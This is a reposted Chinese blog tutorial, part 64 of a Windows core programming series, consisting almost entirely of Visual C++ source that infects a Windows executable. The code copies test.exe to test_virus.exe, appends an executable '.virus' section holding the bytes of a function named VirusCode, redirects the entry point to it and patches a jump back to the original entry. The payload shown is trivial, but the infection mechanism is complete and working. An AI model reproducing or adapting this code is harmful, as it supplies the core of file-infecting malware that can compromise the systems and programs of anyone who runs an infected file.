基于visual c++之windows核心编程代码分析(64)现有的exe文件中添加自己的代码
生活随笔
收集整理的這篇文章主要介紹了
基于visual c++之windows核心编程代码分析(64)现有的exe文件中添加自己的代码
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
我們進行信息安全編程的時候,經常需要向exe文件插入自己的源代碼,
我們如何在代碼中實現呢。請見代碼與注釋講解
#include <iostream.h> #include <windows.h> #include <stdio.h>// //******************************************************************* //*******以下為程序代碼******* //******************************************************************* // void VirusCode() {_asm {mov eax , 5}return; }// //******************************************************************* //*******主函數******* //******************************************************************* // void main() { //******************************************************************* //*******首先得到程序代碼起始地址,結束地址,代碼長度******* //*******************************************************************/// *******變量說明*******// **dwFunBegAddr :程序函數的開始地址// **dwFunEndAddr :程序函數的結束地址// **dwFunCodeLen :程序代碼長度// **dwJmpOff :程序函數jmp區到真正入口的偏移// **pMove :臨時的指針變量/DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen;PBYTE pMove = NULL;// *******首先指向程序函數的jmp指令*******pMove = (PBYTE)VirusCode;cout << "函數的jmp地址為:" << (PVOID)pMove << endl;// *******定位到jmp后面的偏移處*******pMove ++;// *******把偏移賦值給變量*******dwJmpOff = *((PDWORD)pMove);// *******jmp下一條指令的地址(code + 5)+偏移得到函數真正的入口地址*******dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff;cout << "函數jmp的跳轉偏移為:" <<(PVOID)dwJmpOff << endl;cout << "開始地址為:" << (PVOID)dwFunBegAddr << endl;// *******以下通過搜索得到函數的結束地址*******// *******首先把函數的入口地址賦給變量*******pMove = (PBYTE)dwFunBegAddr;// *******向后搜索,直到結尾*******while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5))){pMove ++;}// *******此時pMove指向ret前一條指令*******// *******pMove向后移5個字節,為程序代碼的jmp指令占位*******pMove +=5;dwFunEndAddr = (DWORD)pMove;cout << "代碼結束地址為:" << (PVOID)dwFunEndAddr << endl;// *******結束地址減去起始地址,得到代碼長度*******dwFunCodeLen = dwFunEndAddr - dwFunBegAddr;cout << "總代碼長度為:" << (int)dwFunCodeLen << endl;//******************************************************************* //*******以下為在exe文件中添加程序代碼******* //*******************************************************************HANDLE hFile , hMapFile;LPVOID pMapOfFile = NULL;//******************************************************************* //*******檢測文件合法性******* //*******************************************************************// *******打開文件*******hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);if (INVALID_HANDLE_VALUE == hFile){cout << "CreateFile Error!" << endl;return;}// *******創建文件映射*******hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);if (!hMapFile){cout << "CreateFileMapping Error!" << endl;goto CLOSEFILEHANDLE;}// *******把文件映射到內存中*******pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);if (!pMapOfFile){cout << "MapViewOfFile Error!" << endl;goto CLOSEMAPHANDLE;}IMAGE_DOS_HEADER *pDosHeader;// ********檢測DOS文件頭*******pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){cout << "Check Dos Header Error!" << endl;goto FreeViewOfMap;}IMAGE_NT_HEADERS *pNtHeader;// *******檢測NT文件頭*******pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);if (pNtHeader->Signature != IMAGE_NT_SIGNATURE){cout << "Check NT Header Error!" << endl;goto FreeViewOfMap;} //*************************************************************** //*******準備工作******* //***************************************************************BOOL bCopy;// *******首先把要添加程序代碼的文件復制一份*******bCopy = CopyFile("test.exe" , "test_virus.exe" , FALSE);if (!bCopy){cout << "CopyFile Error!" << endl;}HANDLE hNewFile;// *******打開剛剛復制的文件*******hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);if (!hNewFile){cout << "CreateFile Error!" << endl;goto FreeViewOfMap;}HGLOBAL pNewFileHeader;// *******為新文件的文件頭申請一塊內存,用于修改文件頭信息*******pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);if (!pNewFileHeader){cout << "GlobalAlloc Error!" << endl;goto CloseNewFileHandle;}// *******用原文件頭填充這塊內存*******RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);IMAGE_NT_HEADERS *pNewFileNtHeader;pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);// //*******此時的指針信息******* //*******pMapOfFile : 原映射文件的開始 //*******pDosHeader : 原映射文件的DOS頭也就是文件開始,只不過類型不一樣 //*******pNTHeader : 原映射文件的NT頭 //*******pNewFileHeader : 新文件的開始 //*******pNewFileNtHeader : 新文件的NT頭 // //**************************************************************** //*******修改新文件的節表信息******* //****************************************************************int nSecNum;nSecNum = pNtHeader->FileHeader.NumberOfSections;IMAGE_SECTION_HEADER *pLastSec , *pNewSec;// *******定位到原文件中的最后一個節表*******pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)+ (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));// *******pNewSec為最后一個節表的結尾處,也就是新加節表的開頭*******pNewSec = pLastSec + 1;//*******修改新增節表的相關信息*******//*****節表總數加1*****pNewFileNtHeader->FileHeader.NumberOfSections ++;//*****修改新節的文件偏移*****pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;//*****修改新節的文件尺寸*****int nAlignNum;nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0){nAlignNum++;}pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;//*****修改所有代碼長度按內存頁對齊后的大小*****nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0){nAlignNum ++;}pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment;//*****修改文件內存映像尺寸*****pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment;//*****修改新節的內存偏移量*****//*****用原最后節的內存偏移加上原最后節對齊后的內存尺寸的大小*****nAlignNum = pLastSec->Misc.VirtualSize / pNewFileNtHeader->OptionalHeader.SectionAlignment;if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0){nAlignNum ++;}pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment +pLastSec->VirtualAddress;//*****修改新節的內存尺寸*****pNewSec->Misc.VirtualSize = dwFunCodeLen;//*****更新新節屬性*****pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;//*****更新節名*****strcpy((char*)pNewSec->Name , ".virus");//*****更新入口地址*****pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;BOOL bWrite;DWORD dwHeaderSize , dwWriten;dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL);//*****向文件中添加程序代碼*****DWORD dwSetFileP;//*****定位到新文件中新節開始處*****dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);if (!dwSetFileP){cout << "SetFilePointer Error!" << endl;goto CloseNewFileHandle;}//*****寫入程序代碼*****bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL);if (!bWrite){cout << "Write Virus Code Error!" << endl;goto CloseNewFileHandle;}//*****定位到文件尾部*****dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData + pNewSec->SizeOfRawData , NULL , FILE_BEGIN);if (!dwSetFileP){cout << "SetFilePointer End Error!" << endl;goto CloseNewFileHandle;}//*****設定文件結束*****if (!SetEndOfFile(hNewFile)){cout << "SetEndOfFile Error!" << endl;goto CloseNewFileHandle;}//*******修正原入口地址*******PBYTE pModifyAddr;pModifyAddr = (PBYTE)pNewSec->VirtualAddress;pModifyAddr += dwFunCodeLen;//printf("%x\n" , pModifyAddr);int nSub; //跳轉的距離nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;DWORD dwModifyLoca;dwModifyLoca = pNewSec->PointerToRawData;dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;//dwModifyLoca ++;// *****定位到程序代碼最后的五個字節處*****dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);if (!dwSetFileP){cout << "Modify Address SetFilePointer Error!" << endl;goto CloseNewFileHandle;}//*****修正jmp指令*****BYTE bJmp;bJmp = 0XE9;bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);if (!bWrite){cout << "Modify Address WriteFile Error!" << endl;goto CloseNewFileHandle;}//*****修正跳轉地址*****bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);if (!bWrite){cout << "Modify Address WriteFile Error!" << endl;goto CloseNewFileHandle;}//**************************************************************** //*******掃尾工作******* //**************************************************************** CloseNewFileHandle:CloseHandle(hNewFile); FreeViewOfMap:UnmapViewOfFile(pMapOfFile); CLOSEMAPHANDLE:CloseHandle(hMapFile); CLOSEFILEHANDLE:CloseHandle(hFile); }
?
轉載于:https://www.cnblogs.com/new0801/archive/2012/01/24/6177761.html
總結
以上是生活随笔為你收集整理的基于visual c++之windows核心编程代码分析(64)现有的exe文件中添加自己的代码的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java常用类解析十:Date类和Cal
- 下一篇: 移动医疗的中国机遇